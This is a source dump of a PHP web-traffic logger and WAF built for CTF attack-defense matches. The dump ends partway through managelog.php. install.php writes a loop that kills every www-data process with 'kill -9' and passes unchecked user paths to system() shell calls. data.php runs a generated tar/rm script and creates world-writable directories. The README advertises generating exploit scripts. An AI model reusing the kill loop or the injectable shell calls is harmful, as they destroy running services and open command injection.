├── ReadME.md
├── data.php
├── index.png
├── install.php
├── managelog.php
├── rm_me.sh
├── temp.php
├── weblogpro.php
└── wupco_static
├── .DS_Store
├── css
├── bootstrap.css
└── bootstrap.min.css
├── fonts
├── glyphicons-halflings-regular.eot
├── glyphicons-halflings-regular.svg
├── glyphicons-halflings-regular.ttf
├── glyphicons-halflings-regular.woff
└── glyphicons-halflings-regular.woff2
└── js
├── bootstrap.js
├── bootstrap.min.js
├── jquery.min.js
└── npm.js
/ReadME.md:
--------------------------------------------------------------------------------
1 | ## 一个针对php的web流量抓取、分析的应用。
2 |
3 | 可供ctf线下赛使用,也可用于实际场景来抓web流量、分析攻击手段。
4 |
5 |
6 | 
7 |
8 | 目前主要功能如下:
9 |
10 | 1. 完整http报文请求抓取,同时进行对可能存在的攻击进行分类,通过文件存储模拟出数据库,适应各种场合。
11 |
12 | 2. 根据hash判断流量是否重复,只记录次数和最新一次的请求包,减少存储空间的占用以及流量分析的成本。
13 |
14 | 3. 4个waf等级,推荐使用1等级,不会影响应用的正常运行,还可以抵御绝大多数的常见攻击。
15 |
16 | 4. 设置flag获取命令,通过分析页面返回判断是否被读取了flag,从而替换掉flag(有些场合可能无法使用),将此流量标记为危险流量,同时攻击者ip加入黑名单,永
17 | 久ban掉(可从黑名单去除)。
18 |
19 | 5. 黑白名单模式,可以手动添加,选择白名单模式,则服务正常通过给白名单机器,其他机器全部拦截。
20 |
21 | 6. 可根据ip、时间筛选出想要查看的对应日志。
22 |
23 | 7. 通过分析是否为危险流量,统计相同流量出现次数,显示出最可能是最终payload的流量排行。
24 |
25 | 8. 一键生成ctf线下赛exp(获取flag+自动提交flag),快人一步进行攻击(除了正常攻击流量外,exp中还包含大量垃圾混淆流量)
26 |
27 | 9. 删除并压缩备份选中的流量。
28 |
29 | 9. 因流量转发太过不公平,不考虑添加。
30 |
31 |
32 | ## 使用方法:
33 |
34 | ```
35 | cd /var/www/html/ (or other web dir)
36 |
37 | git clone https://github.com/wupco/weblogger.git
38 |
39 | chmod -R 777 weblogger/
40 |
41 | open http://xxxxx/weblogger/install.php in Web browser
42 |
43 | install it
44 |
45 |
46 |
47 | ```
48 | 更详细说明和帮助:
49 | https://gist.github.com/wupco/ee26f88656fbf36d014f49b4ac47ddc8
50 |
51 |
52 | ## 说明:
53 |
54 | weblogger 分为静态文件群和动态文件群:
55 |
56 | 动态文件群:
57 | - 所有流量数据与脚本模板均存储在tmp目录下,所以要保证tmp目录的持续可写。
58 |
59 | 静态文件群:
60 | - web管理页面存在web目录下的一个新建文件中,所以要保证web目录的可写(待install.php生成管理文件结束后可设置目录不可写)
61 |
--------------------------------------------------------------------------------
/data.php:
--------------------------------------------------------------------------------
1 | eAccelerator = function_exists("eaccelerator_lock");
35 | $this->salt = "wupco123";
36 | }
37 |
38 | public function readfile($path,$type)
39 | {
40 |
41 | $file = fopen($this->data_root_dir.$path,"r");
42 | if(!$file)
43 | return 0;
44 |
45 | if (flock($file,1))
46 | {
47 | switch ($type) {
48 |
49 | case 'JSONA':
50 | $filearr = array();
51 | while(!feof($file))
52 | {
53 | $line = fgets($file);
54 | if($line === false)
55 | break;
56 | else
57 | array_push($filearr,$line);
58 | }
59 | $filestr = json_encode($filearr);
60 | break;
61 |
62 | case 'JSONCSV':
63 | $filearr = array();
64 | while(! feof($file))
65 | {
66 | $line = fgetcsv($file,0,chr(0));
67 | if($line === false)
68 | break;
69 | else
70 | array_push($filearr,$line);
71 | }
72 | $filestr = json_encode($filearr);
73 | break;
74 |
75 | default:
76 | //echo $this->data_root_dir.$path;
77 | $filestr = fread($file,filesize($this->data_root_dir.$path));
78 | break;
79 | }
80 |
81 | flock($file,3);
82 | fclose($file);
83 | return $filestr;
84 | }
85 | else
86 | {
87 | fclose($file);
88 | return -1;
89 | }
90 |
91 |
92 |
93 | }
94 |
95 | public function writefile($path,$action,$type,$content)
96 | {
97 | $file = fopen($this->data_root_dir.$path,$action);
98 | if(!$file)
99 | return 0;
100 |
101 | if (flock($file,2))
102 | {
103 | switch ($type) {
104 | case 'CSV':
105 | fputcsv($file,$content,chr(0));
106 | //var_dump($content);
107 | break;
108 |
109 | default:
110 | fwrite($file,$content);
111 | break;
112 | }
113 | flock($file,3);
114 | fclose($file);
115 | }
116 | else
117 | {
118 | fclose($file);
119 | return -1;
120 | }
121 |
122 |
123 | }
124 |
125 |
126 | private function getindex()
127 | {
128 | if($i_data = $this->readfile('dataindex.exe','JSONCSV'))
129 | {
130 |
131 | $i_data = json_decode($i_data);
132 | $alldata = array();
133 | foreach($i_data as $line)
134 | {
135 | //var_dump($line);
136 | $data = array("IP"=>$line[0],"DIR"=>$line[1],"LAST_TIME"=>$line[2],"IS_DANGER"=>$line[3],"LAST_ID"=>$line[4]);
137 | //array_push($alldata,$data);
138 | $alldata[$line[0]] = $data;
139 | }
140 | return json_encode($alldata);
141 | }
142 | else
143 | {
144 | return 0;
145 | }
146 | }
147 |
148 | private function writeindex($indexjson)
149 | {
150 | $index = json_decode($indexjson);
151 | $this->writefile('dataindex.exe','w','','');
152 | foreach($index as $ip=>$data)
153 | {
154 | $data = $data;
155 | $arr = array($data->IP,$data->DIR,$data->LAST_TIME,$data->IS_DANGER,$data->LAST_ID);
156 | // var_dump($arr);
157 | //$a->writefile('dataindex','a','CSV',$b);
158 | $this->writefile('dataindex.exe','a','CSV',$arr);
159 | }
160 | //var_dump($this->getindex());
161 | return 0;
162 | }
163 |
164 | private function lock($name)
165 | {
166 | if(!$this->eAccelerator)
167 | {
168 | $this->fp = fopen($this->path.$name, 'w+');
169 | if($this->fp === false)
170 | {
171 | return false;
172 | }
173 | return flock($this->fp, LOCK_EX);
174 | }
175 | else
176 | {
177 | return eaccelerator_lock($name);
178 | }
179 |
180 | }
181 |
182 | private function unlock($name)
183 | {
184 | if(!$this->eAccelerator)
185 | {
186 | if($this->fp !== false)
187 | {
188 | flock($this->fp, LOCK_UN);
189 | clearstatcache();
190 | }
191 | fclose($this->fp);
192 | }
193 | else
194 | {
195 | return eaccelerator_unlock($name);
196 | }
197 | }
198 |
199 | public function create()
200 | {
201 | if (!file_exists($this->data_root_dir))
202 | {
203 | echo "Please first Create data-dir";
204 | return -1;
205 | }
206 | else
207 | {
208 | file_put_contents($this->data_root_dir."dataindex.exe","");
209 | file_put_contents($this->data_root_dir."id.jpg","-1");
210 | mkdir($this->data_root_dir."lock/", 0777, true);
211 | return 1;
212 | }
213 |
214 | }
215 |
216 | public function insert($data)
217 | {
218 | $this->lock('index');
219 | $index = json_decode($this->getindex(),true);
220 | $data = json_decode($data,true);
221 | //var_dump($index);
222 | //var_dump($this->getindex());
223 | $lastid = (int)($this->readfile('id.jpg',''));
224 | //echo $lastid;
225 |
226 | if(!array_key_exists($data['ip'],(array)$index))
227 | {
228 | $ipdir = md5($data['ip'].$this->salt.((string)time()));
229 | mkdir($this->data_root_dir.$ipdir."/", 0777, true);
230 | mkdir($this->data_root_dir.$ipdir."/payload/", 0777, true);
231 | mkdir($this->data_root_dir.$ipdir."/danger/", 0777, true);
232 | $dir = $ipdir;
233 |
234 | $lasttime = (string)time();
235 | $is_danger = $data['risk'];
236 | @$index[$data['ip']]['DIR']= $dir;
237 | @$index[$data['ip']]['LAST_ID'] = 0;
238 | @$index[$data['ip']]['LAST_TIME'] = $lasttime;
239 | @$index[$data['ip']]['IS_DANGER'] = $is_danger;
240 | @$index[$data['ip']]['IP'] = $data['ip'];
241 | }
242 | else
243 | {
244 | $dir = $index[$data['ip']]['DIR'];
245 | $lasttime = $index[$data['ip']]['LAST_TIME'];
246 | $is_danger = $index[$data['ip']]['IS_DANGER'];
247 | }
248 |
249 |
250 | if(file_exists($this->data_root_dir.$dir."/payload/".bin2hex($data['file'])."/".md5($data['payload'])))
251 | {
252 | $filename = $this->readfile($dir."/payload/".bin2hex($data['file'])."/".md5($data['payload']),'');
253 | if($filename)
254 | {
255 | $file = $this->readfile($dir."/".$filename,'JSONCSV');
256 | if($file)
257 | {
258 | $file = json_decode($file);
259 | foreach($file as $line)
260 | {
261 | $id = $line[0];
262 | $risk = $line[8];
263 | $count = $line[11]+1;
264 | $f_link = $line[10];
265 | }
266 | unlink($this->data_root_dir.$dir."/".$filename);
267 | $id = explode("_", $filename);
268 | $id = $id[1];
269 | $newname = (string)time()."_".(string)$id."_".(string)$count;
270 | $wd = array($id,$data['url'],$data['poststr'],$data['getstr'],$data['cookie'],$data['time'],$data['headers'],$data['ip'],$risk,$data['type'],$f_link,$count);
271 | $this->writefile($dir."/".$newname,'w','CSV',$wd);
272 | $this->writefile($dir."/payload/".bin2hex($data['file'])."/".md5($data['payload']),'w','',$newname);
273 | if((int)$risk == 1)
274 | {
275 | unlink($this->data_root_dir.$dir."/danger/".$filename);
276 | $this->writefile($dir."/danger/".$newname,'w','','');
277 | }
278 | $baknum = -1;
279 |
280 | }
281 | else
282 | $baknum = -2;
283 |
284 | }
285 | else
286 | $baknum = -3;
287 | //$payloads = $this->readfile($this->data_root_dir.$dir."/payload/".$data['file']),'JSONA');
288 |
289 | }
290 | else
291 | {
292 |
293 | if(!file_exists($this->data_root_dir.$dir."/payload/".bin2hex($data['file'])."/"))
294 | mkdir($this->data_root_dir.$dir."/payload/".bin2hex($data['file'])."/", 0777, true);
295 | $newid = ((int)$lastid) + 1;
296 | //echo $newid;
297 | $newfile = (string)time() . "_" . (string)$newid."_0";
298 | $f_link = $this->data_root_dir.$dir."/payload/".bin2hex($data['file'])."/".md5($data['payload']);
299 | $wd = array($newid,$data['url'],$data['poststr'],$data['getstr'],$data['cookie'],$data['time'],$data['headers'],$data['ip'],$data['risk'],$data['type'],$f_link,0);
300 | $this->writefile($dir."/".$newfile,'w','CSV',$wd);
301 | $this->writefile($dir."/payload/".bin2hex($data['file'])."/".md5($data['payload']),'w','',$newfile);
302 | $this->writefile('id.jpg','w','',(string)$newid);
303 | @$index[$data['ip']]['LAST_ID'] = (string)$newid;
304 |
305 | $baknum = $newid;
306 | //$index[$data['ip']]['LAST_TIME'] = (string)time();
307 | }
308 | $this->writeindex(json_encode($index));
309 | //var_dump($index);
310 | //echo $this->getindex();
311 | $this->unlock('index');
312 | return $baknum;
313 |
314 | }
315 |
316 | public function ip_list()
317 | {
318 | $index = json_decode($this->getindex());
319 | if(is_array($index))
320 | {
321 | if(size($index)==0)
322 | return 0;
323 | else
324 | return -1;
325 | }
326 | else
327 | {
328 | $ip_list = json_encode(array_keys(get_object_vars($index)));
329 | return $ip_list;
330 | }
331 | }
332 | public function select_by_ip($ip,$limit,$desc,$start,$getnum,$time)
333 | {
334 | $index = json_decode($this->getindex());
335 | //print_r( $index;
336 | if(is_array($index))
337 | {
338 | if(sizeof($index)==0)
339 | return 0;
340 | else
341 | return -1;
342 | }
343 | else
344 | {
345 | //$dir_list = array();
346 | $index = json_decode(json_encode($index),true);
347 | $dir = $index[$ip]['DIR'];
348 | if($time===0){
349 | $filenames = scandir($this->data_root_dir.$dir);
350 | array_splice($filenames, 0, 2);
351 | array_splice($filenames, -2, 2);
352 | }
353 | else{
354 | $filenames = glob($this->data_root_dir.$dir.'/'.$time.'*');
355 | array_walk($filenames,"this_sAlt_get_baSe_nAme");
356 |
357 | }
358 | if($getnum)
359 | {
360 | return sizeof($filenames);
361 | }
362 |
363 | if($limit == -1)
364 | {
365 | $limit = sizeof($filenames);
366 | }
367 | if(sizeof($filenames)<$limit+$start)
368 | {
369 | $limit = sizeof($filenames) -$start;
370 | }
371 | if($desc === 1)
372 |
373 | rsort($filenames);
374 |
375 | else
376 | sort($filenames);
377 | //var_dump($filenames);
378 | $mess = array();
379 |
380 | for($i=$start;$i<$limit+$start;$i++)
381 | {
382 |
383 | $c = json_decode($this->readfile($dir."/".$filenames[$i],"JSONCSV"));
384 | array_push($mess,$c);
385 | }
386 | return json_encode($mess);
387 |
388 | }
389 | }
390 | private function dir_list()
391 | {
392 | $index = json_decode($this->getindex());
393 | //print_r( $index);
394 | if(is_array($index))
395 | {
396 | if(sizeof($index)==0)
397 | return 0;
398 | else
399 | return -1;
400 | }
401 | else
402 | {
403 | $dir_list = array();
404 | foreach($index as $ip=>$data)
405 | {
406 | array_push($dir_list,$data->DIR);
407 | }
408 | return json_encode($dir_list);
409 | }
410 | }
411 |
412 |
413 |
414 | public function select_list($order,$limit,$jback,$desc,$getnum,$start,$time)
415 | {
416 | $dir_list = $this->dir_list();
417 | //print $dir_list;
418 | if($dir_list)
419 | {
420 | $dir_list = json_decode($dir_list);
421 | $filename = array();
422 |
423 | //var_dump($dir_list);
424 | foreach($dir_list as $dir)
425 | {
426 | //echo $this->data_root_dir;
427 | if($time===0){
428 | $filenames = scandir($this->data_root_dir.$dir);
429 | array_splice($filenames, 0, 2);
430 | array_splice($filenames, -2, 2);
431 | }
432 | else{
433 | $filenames = glob($this->data_root_dir.$dir.'/'.$time.'*');
434 | array_walk($filenames,"this_sAlt_get_baSe_nAme");
435 |
436 |
437 | }
438 | //echo $this->data_root_dir.$dir."
";
439 | //echo $dir;
440 | //var_dump($filenames);
441 | //$key = array_search('.', $filenames);
442 | //if ($key !== false)
443 |
444 | switch ($order) {
445 | case 'count':
446 | array_walk($filenames,"this_sAlt_order_B_coUnt",$dir);
447 | break;
448 | case 'id':
449 | array_walk($filenames,"this_sAlt_order_B_iD",$dir);
450 | break;
451 | default:
452 | array_walk($filenames,"this_sAlt_add_PrE",$dir);
453 | break;
454 | }
455 |
456 |
457 |
458 | //array_push($filename,$filenames);
459 | $filename = array_merge($filename,$filenames);
460 | //$key = array_search('.', $filenames);
461 |
462 | }
463 | if($getnum)
464 | {
465 | return sizeof($filename);
466 | }
467 | if($limit == -1)
468 | {
469 | $limit = sizeof($filename);
470 | }
471 | if(sizeof($filename)<$limit+$start)
472 | {
473 | $limit = sizeof($filename) - $start;
474 | }
475 | if($desc === 1)
476 |
477 | rsort($filename);
478 |
479 | else
480 | sort($filename);
481 | //var_dump($filename);
482 | if($jback === 'content')
483 | {
484 |
485 | $mess = array();
486 | //var_dump($filename);
487 | //print $limit;
488 | //print sizeof($filename);
489 | //
490 | //echo $start;
491 | for($i=$start;$i<$limit+$start;$i++)
492 | {
493 | //echo $filename[$i];
494 | $tmp = explode("_",$filename[$i]);
495 | //var_dump($tmp);
496 | $d = $tmp[4];
497 | $f = $tmp[1]."_".$tmp[2]."_".$tmp[3];
498 | $c = json_decode($this->readfile($d."/".$f,"JSONCSV"));
499 | array_push($mess,$c);
500 | }
501 | return json_encode($mess);
502 | }
503 | elseif($jback === 'count_suff')
504 | {
505 | return json_encode($filename);
506 | }
507 | else
508 | {
509 |
510 | $limitfile = array();
511 | for($i=$start;$i<$limit;$i++)
512 | {
513 | $tmp = explode("_",$filename[$i]);
514 | $d = $tmp[4];
515 | $f = $tmp[1]."_".$tmp[2]."_".$tmp[3];
516 | array_push($limitfile,$d."/".$f);
517 | }
518 | return json_encode($limitfile);
519 | }
520 |
521 | }
522 | else
523 | {
524 | return -2;
525 | }
526 | //echo $this->dir_list();
527 | }
528 |
529 |
530 |
531 | public function get_num($mod,$group,$time)
532 | {
533 | $time = $time;
534 | switch ($mod) {
535 | case 'all':
536 | return $this->select_list('',-1,'',1,1,0,$time);
537 | break;
538 | case 'risk':
539 | return $this->prob_payload(-1,1,1,0);
540 | break;
541 | case 'more':
542 | return $this->prob_payload(-1,1,0,0);
543 | break;
544 | case 'ip':
545 | return $this->select_by_ip($group,-1,1,0,1,$time);
546 | default:
547 | return 0;
548 | break;
549 | }
550 |
551 | }
552 |
553 | public function select_by_id($id)
554 | {
555 | //print $id;
556 | $bak = $this->select_list('id',$id+1,'1',0,0,0,0);
557 | // print $bak;
558 | if($bak)
559 | {
560 | $bak = json_decode($bak,true);
561 | if(sizeof($bak)>0)
562 | {
563 | return $bak[sizeof($bak)-1];
564 | //var_dump($bak);
565 | }
566 | else
567 | return -1;
568 | }
569 | else
570 | return 0;
571 |
572 | }
573 |
574 |
575 |
576 | public function danger_list()
577 | {
578 | $dir_list = $this->dir_list();
579 | if($dir_list)
580 | {
581 | $dir_list = json_decode($dir_list);
582 | $filename = array();
583 | foreach($dir_list as $dir)
584 | {
585 | $filenames = scandir($this->data_root_dir.$dir.'/danger');
586 | array_splice($filenames, 0, 2);
587 | array_walk($filenames,"this_sAlt_order_B_coUnt",$dir);
588 | $filename = array_merge($filename,$filenames);
589 | }
590 | rsort($filename);
591 | return json_encode($filename);
592 | }
593 | else
594 | return -1;
595 | }
596 |
597 | public function prob_payload($limit,$getnum,$onlydanger,$start)
598 | {
599 | $danger = $this->danger_list();
600 | if($danger)
601 | {
602 | $danger = json_decode($danger,true);
603 | if($onlydanger)
604 | $count = json_encode(array());
605 | else
606 | $count = $this->select_list('count',-1,'count_suff',1,0,0,0);
607 | if($count)
608 | {
609 | $count = json_decode($count,true);
610 | $all = array_merge($danger,$count);
611 | $alllist = array();
612 | $alllist = array_values(array_unique($all));
613 | if($getnum)
614 | return sizeof($alllist);
615 | if(sizeof($alllist)<$limit+$start)
616 | {
617 | $limit = sizeof($alllist) - $start;
618 | }
619 | $mess = array();
620 |
621 | for($i=$start;$i<$limit+$start;$i++)
622 | {
623 | $tmp = explode("_",$alllist[$i]);
624 | $d = $tmp[4];
625 | $f = $tmp[1]."_".$tmp[2]."_".$tmp[3];
626 | $c = json_decode($this->readfile($d."/".$f,"JSONCSV"),true);
627 | array_push($mess,$c);
628 | }
629 | // $bjson = array("allnum"=>$num,$mess);
630 | return json_encode($mess);
631 |
632 | }
633 | else
634 | return -1;
635 |
636 |
637 | }
638 | else
639 | return -2;
640 | }
641 |
642 | public function get_content_by_id($id)
643 | {
644 | $filename = $this->select_by_id($id);
645 | if($filename)
646 | {
647 | $content = $this->readfile($filename,'JSONCSV');
648 | if($content)
649 | {
650 | return $content;
651 |
652 | }
653 | else
654 | {
655 | return 0;
656 | }
657 | }
658 | else
659 | return -1;
660 | }
661 |
662 | public function del_by_id($id)
663 | {
664 | $filename = $this->select_by_id($id);
665 | if($filename)
666 | {
667 | $content = $this->readfile($filename,'JSONCSV');
668 | if($content)
669 | {
670 | $content = json_decode($content, true);
671 | $f_link = $content[0][10];
672 | if($f_link)
673 | {
674 | $f_link = explode(' ', $f_link);
675 | foreach ($f_link as $file_l)
676 | {
677 | if(file_exists($file_l)){
678 | file_put_contents($this->data_root_dir.'../tarlog.sh','tar -rvf '.$this->data_root_dir.'/logbak.tar.bz2 '.$file_l."\n");
679 | file_put_contents($this->data_root_dir.'../tarlog.sh','rm '.$file_l."\n",FILE_APPEND);
680 | file_put_contents($this->data_root_dir.'../tarlog.sh','chmod 777 '.$this->data_root_dir.'/logbak.tar.bz2',FILE_APPEND);
681 |
682 |
683 | }
684 |
685 | }
686 | if(file_exists($this->data_root_dir.$filename)) {
687 | file_put_contents($this->data_root_dir.'../tarlog.sh','tar -rvf '.$this->data_root_dir.'/logbak.tar.bz2 '.$this->data_root_dir.$filename."\n",FILE_APPEND);
688 | file_put_contents($this->data_root_dir.'../tarlog.sh','rm '.$this->data_root_dir.$filename."\n",FILE_APPEND);
689 | file_put_contents($this->data_root_dir.'../tarlog.sh','chmod 777 '.$this->data_root_dir.'/logbak.tar.bz2',FILE_APPEND);
690 | system('bash '.$this->data_root_dir.'../tarlog.sh');
691 |
692 |
693 | }
694 | return 1;
695 | }
696 | else
697 | {
698 | if(file_exists($this->data_root_dir.$filename)){
699 | file_put_contents($this->data_root_dir.'../tarlog.sh','tar -rvf '.$this->data_root_dir.'/logbak.tar.bz2 '.$this->data_root_dir.$filename."\n");
700 | file_put_contents($this->data_root_dir.'../tarlog.sh','rm '.$this->data_root_dir.$filename."\n",FILE_APPEND);
701 | file_put_contents($this->data_root_dir.'../tarlog.sh','chmod 777 '.$this->data_root_dir.'/logbak.tar.bz2',FILE_APPEND);
702 | system('bash '.$this->data_root_dir.'../tarlog.sh');
703 |
704 | }
705 | return 1;
706 | }
707 |
708 |
709 | }
710 | else
711 | {
712 | return 0;
713 | }
714 |
715 | }
716 | else
717 | return -1;
718 | }
719 |
720 | public function upadate_risk($id)
721 | {
722 | $filename = $this->select_by_id($id);
723 | //echo $filename;
724 | echo "\n".$id."\n";
725 | if($filename)
726 | {
727 | $content = $this->readfile($filename,'JSONCSV');
728 | if($content)
729 | {
730 | $content = json_decode($content,true);
731 | $content[0][8] = 1;
732 | $risk_ip = $content[0][7];
733 | $this->writefile($filename,'w',"CSV",$content[0]);
734 | $index = $this->getindex();
735 | if($index)
736 | {
737 | $tmp = explode("/",$filename);
738 | $index = json_decode($index,true);
739 | //var_dump($index);
740 | $index[$risk_ip]['IS_DANGER'] = 1;
741 | $dir = $index[$risk_ip]['DIR'];
742 | $this->writeindex(json_encode($index));
743 | $content[0][11] = $content[0][11].' '.$this->data_root_dir.$dir."/danger/".$tmp[1];
744 | $this->writefile($filename,'w',"CSV",$content[0]);
745 | $this->writefile($dir."/danger/".$tmp[1],'w','','');
746 | return 1;
747 | }
748 | else
749 | {
750 | return $index;
751 | }
752 | }
753 | else
754 | {
755 | return $content;
756 | }
757 | }
758 | else
759 | {
760 | //echo "sss";
761 | return 0;
762 | }
763 | }
764 |
765 |
766 |
767 | }
768 |
769 | //$a = new SaLt_Classsssss_LogDb_HHHHhhhhh();
770 |
771 | //$a->create();
772 | // $wd = array($data['url'],$data['poststr'],$data['getstr'],$data['cookie'],$data['time'],$data['headers'],$data['ip'],$risk,$data['type'],$count);
773 | //$payload = $_GET['id'];
774 | //$b = array("url"=>"www.baidu.com","poststr"=>"t=post","getstr"=>"t=get","cookie"=>"t=cookie","time"=>"2014-2-10","headers"=>"asdasd\ndasdsdas","ip"=>"127.0.0.8","risk"=>"0","type"=>"0","file"=>"index.php","payload"=>$payload);
775 | //print $a->('id',5,'content',0);
776 | //$a->insert(json_encode($b));
777 | //echo $a->upadate_risk(3);
778 | //var_dump($a->readfile('7d968c105afd8c49b52ef42266675f2d/1494994152_5_0','JSONCSV'));
779 | ?>
780 |
--------------------------------------------------------------------------------
/index.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wupco/weblogger/aac6160771e8d33fb89f0ae633b6887cf36d312a/index.png
--------------------------------------------------------------------------------
/install.php:
--------------------------------------------------------------------------------
1 |
44 | 输入数据存储路径:
45 | 输入web根目录:
46 |
47 | ";
48 | if(isset($_POST['datadir'])&& isset($_POST['webdir']))
49 | {
50 | $_SESSION['datadir'] = $_POST['datadir'];
51 | $_SESSION['webdir'] = $_POST['webdir'];
52 | $_SESSION['step'] = 1;
53 | echo "";
54 |
55 | }
56 |
57 | }
58 | elseif($_SESSION['step'] === 1)
59 | {
60 | $data_base_dir = _m_khashdir($_SESSION['datadir']);
61 | $_SESSION['databasedir'] = $data_base_dir;
62 | $web_base_dir = _m_khashdir($_SESSION['webdir']);
63 | $web_com_dir = str_replace($_SESSION['webdir'],'',$web_base_dir);
64 | $_SESSION['webcomdir'] = $web_com_dir;
65 | $_SESSION['webbasedir']= $web_base_dir;
66 | $_SESSION['step'] = 2;
67 | echo "";
68 | }
69 | elseif($_SESSION['step'] === 2)
70 | {
71 | echo "
77 | ";
78 | if(isset($_POST['username'])&&isset($_POST['passwd'])&&isset($_POST['getflagshell']))
79 | {
80 | $_SESSION['username'] = $_POST['username'];
81 | $_SESSION['passwd'] = $_POST['passwd'];
82 | $_SESSION['getflagshell'] = $_POST['getflagshell'];
83 | $_SESSION['filesalt'] = getrandhash();
84 | $_SESSION['prvkey'] = getrandhash();
85 | $_SESSION['step'] = 3;
86 | echo "";
87 | }
88 | }
89 | elseif($_SESSION['step'] === 3)
90 | {
91 | $weblogpro = file_get_contents('weblogpro.php');
92 | $weblogpro = rep_weblogpro($weblogpro);
93 | file_put_contents($_SESSION['databasedir'].'weblogpro.php',$weblogpro);
94 | echo "weblogpro.php create ok \n";
95 | system('mv data.php '.$_SESSION['databasedir'].'data.php');
96 | system('mv temp.php '.$_SESSION['databasedir'].'temp.php');
97 | system('mv wupco_static '.$_SESSION['webbasedir'].'/wupco_static');
98 | $_SESSION['managedir'] = $_SESSION['webbasedir'].getrandhash().'/';
99 | mkdir($_SESSION['managedir'], 0777, true);
100 | $manage = file_get_contents('managelog.php');
101 | $manage = rep_manage($manage);
102 | file_put_contents($_SESSION['managedir'].'managelog.php',$manage);
103 | $_SESSION['step'] = 4;
104 | echo "file moved ok \n";
105 | echo "";
106 | }
107 | elseif ($_SESSION['step'] === 4)
108 | {
109 | require_once($_SESSION['databasedir'].'weblogpro.php');
110 | $_SESSION['step'] = 5;
111 | $killer = "while true\ndo\n ps aux | grep 'www-data'|grep -v $$|awk '{print $2}'|xargs kill -9\nsleep 0.1\ndone";
112 | $killername = $_SESSION['databasedir'].getrandhash().'.sh';
113 | file_put_contents($killername,$killer);
114 | $killerphp = "";
115 | $killerphpname = $_SESSION['managedir'].'killer.php';
116 | file_put_contents($killerphpname,$killerphp);
117 | file_put_contents($_SESSION['databasedir'].'tarlog.sh',"");
118 | system('chmod -R 555 '.$_SESSION['webbasedir']);
119 | echo "";
120 | }
121 | elseif ($_SESSION['step'] === 5)
122 | {
123 | require_once($_SESSION['databasedir'].'weblogpro.php');
124 | $_SESSION['step'] = 6;
125 | echo ("all ok! please include ".$_SESSION['databasedir']."weblogpro.php
managepath : ".$_SESSION['managedir'].'managelog.php');
126 | session_unset();
127 | session_destroy();
128 | system('sh rm_me.sh');
129 | exit();
130 | }
131 |
132 |
--------------------------------------------------------------------------------
/managelog.php:
--------------------------------------------------------------------------------
1 | data_root_dir = BASE_PATH;
11 | $this->path = $this->data_root_dir.'lock/';
12 | }
13 | }
14 | session_start();
15 | function dumpalllog($start,$num,$desc,$time)
16 | {
17 | $this_SalT_hhhaaaa_Db_p = new SaLt_Classsssss_LogDatA_HHHHHhhhhh();
18 | if(!$this_SalT_hhhaaaa_Db_p){
19 | $back = array("code"=>"500","message","open db error");
20 | return json_encode($back);
21 | }
22 |
23 | //$sql = 'SELECT * from LOGGERS order by Time '.$desc.' limit '.(int)$start.','.(int)$num;
24 | /*URL,PostStr,GetStr,Cookie,Time,headers,Ip,risk,type)*/
25 | //$this_SalT_hhhaaaa_ReT_p = $this_SalT_hhhaaaa_Db_p->query($sql);
26 | //$back = array();
27 | // $wd = array(id,$data['url'],$data['poststr'],$data['getstr'],$data['cookie'],$data['time'],$data['headers'],$data['ip'],$risk,$data['type'],$count);
28 | $all = $this_SalT_hhhaaaa_Db_p -> select_list('',$num,'content',$desc,0,$start,$time);
29 | if($all)
30 | {
31 | $all = json_decode($all,true);
32 |
33 | $back = array();
34 | foreach($all as $row)
35 | {
36 | $row = $row[0];
37 | $arr = array("id"=>$row[0],"url"=>$row[1],"post"=>$row[2],"get"=>$row[3],"cookie"=>$row[4],"time"=>$row[5],"headers"=>$row[6],"ip"=>$row[7],"risk"=>(int)$row[8],"type"=>(int)$row[9],"count"=>(int)$row[11]);
38 | //var_dump($arr);
39 | array_push($back, $arr);
40 | }
41 | $alback = array("code"=>"200","message"=>$back);
42 | return json_encode($alback);
43 | }
44 | else
45 | {
46 | $alback = array("code"=>"501","message"=>"select data error");
47 | return json_encode($alback);
48 | }
49 |
50 | }
51 |
52 | function getbysth($where,$start,$num,$desc,$sth,$time)
53 | {
54 | $time = $time;
55 | $this_SalT_hhhaaaa_Db_p = new SaLt_Classsssss_LogDatA_HHHHHhhhhh();
56 | if(!$this_SalT_hhhaaaa_Db_p){
57 | $back = array("code"=>"500","message","open db error");
58 | return json_encode($back);
59 | }
60 | switch ($where)
61 | {
62 | case 'ip':
63 | $dataj = $this_SalT_hhhaaaa_Db_p->select_by_ip($sth,$num,$desc,$start,0,$time);
64 | break;
65 | case 'more':
66 | $dataj = $this_SalT_hhhaaaa_Db_p->prob_payload($num,0,0,$start);
67 | break;
68 | case 'risk':
69 | $dataj = $this_SalT_hhhaaaa_Db_p->prob_payload($num,0,1,$start);
70 | break;
71 | default:
72 | $dataj = 0;
73 | break;
74 | }
75 | if($dataj)
76 | {
77 | $dataj = json_decode($dataj,true);
78 | $back = array();
79 | foreach($dataj as $row)
80 | {
81 | $row = $row[0];
82 | $arr = array("id"=>$row[0],"url"=>$row[1],"post"=>$row[2],"get"=>$row[3],"cookie"=>$row[4],"time"=>$row[5],"headers"=>$row[6],"ip"=>$row[7],"risk"=>(int)$row[8],"type"=>(int)$row[9],"count"=>(int)$row[11]);
83 | array_push($back, $arr);
84 | }
85 |
86 | $alback = array("code"=>"200","message"=>$back);
87 | return json_encode($alback);
88 | }
89 | else
90 | {
91 | $alback = array("code"=>"501","message"=>"select data error");
92 | return json_encode($alback);
93 |
94 | }
95 | //$all = $this_SalT_hhhaaaa_Db_p -> select_list('',$num,'content',$desc,0,$start);
96 | // $sql = 'SELECT * from LOGGERS '.$where;
97 | // $this_SalT_hhhaaaa_ReT_p = $this_SalT_hhhaaaa_Db_p->query($sql);
98 |
99 | }
100 | function getnum($mod,$group,$time)
101 | {
102 | $this_SalT_hhhaaaa_Db_p = new SaLt_Classsssss_LogDatA_HHHHHhhhhh();
103 | if(!$this_SalT_hhhaaaa_Db_p){
104 | $back = array("code"=>"500","message","open db error");
105 | return json_encode($back);
106 | }
107 | $Row = $this_SalT_hhhaaaa_Db_p->get_num($mod,$group,$time);
108 | $alback = array("code"=>"200","message"=>$Row);
109 | return json_encode($alback);
110 | }
111 | function getIPlist()
112 | {
113 | $this_SalT_hhhaaaa_Db_p = new SaLt_Classsssss_LogDatA_HHHHHhhhhh();
114 | if(!$this_SalT_hhhaaaa_Db_p){
115 | $back = array("code"=>"500","message","open db error");
116 | return json_encode($back);
117 | }
118 |
119 | $back = json_decode($this_SalT_hhhaaaa_Db_p->ip_list(),true);
120 | $alback = array("code"=>"200","message"=>$back);
